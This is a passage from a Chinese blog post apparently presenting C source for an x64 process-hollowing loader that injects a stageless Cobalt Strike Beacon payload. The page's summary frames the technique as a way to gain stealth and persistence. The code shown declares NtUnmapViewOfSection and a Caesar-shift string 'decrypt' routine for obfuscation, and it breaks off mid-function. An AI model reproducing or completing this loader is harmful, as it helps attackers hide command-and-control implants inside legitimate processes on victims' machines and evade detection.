Process_hollowing_x64

最新推荐文章于 2025-01-05 16:34:16 发布

「已注销」

最新推荐文章于 2025-01-05 16:34:16 发布

阅读量264

点赞数

文章标签： visual studio ide visualstudio

本文链接：https://blog.youkuaiyun.com/xmd213131/article/details/122031676

版权

本文深入探讨了在x64环境下如何运用Process Hollowing技术，结合Visual Studio IDE，构建无阶段的Beacon payload，提高隐蔽性和持久性。同时提到了配合CS4.4和syscall的优化策略。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#pragma comment(lib,"ntdll.lib")

EXTERN_C NTSTATUS NTAPI NtUnmapViewOfSection(HANDLE, PVOID);


char* decrypt(const char* string, short shift) {
   
    size_t len = strlen(string);
    unsigned short i;
    char* dec = NULL;
    dec = (char*)calloc(len + 1, sizeof(char));

    for (i = 0; i < len; i++) {
   
        char c = string[i];
        int c_int = (int)c;

        if (!isalpha(c_int)) {
   
            dec[i] = string[i];
            continue;
        }

        if (isupper(c_int)) {
   
            dec[i] = (((c_int - 'A') + shift) % 26) + 'A';
            if (dec[i] < 'A') {
   
                dec[i] = 'Z' + 1 - ('A' - dec[i]);
            }
        }
        else {
   
            dec[i] = (((c_int - 'a') + shift) % 26) +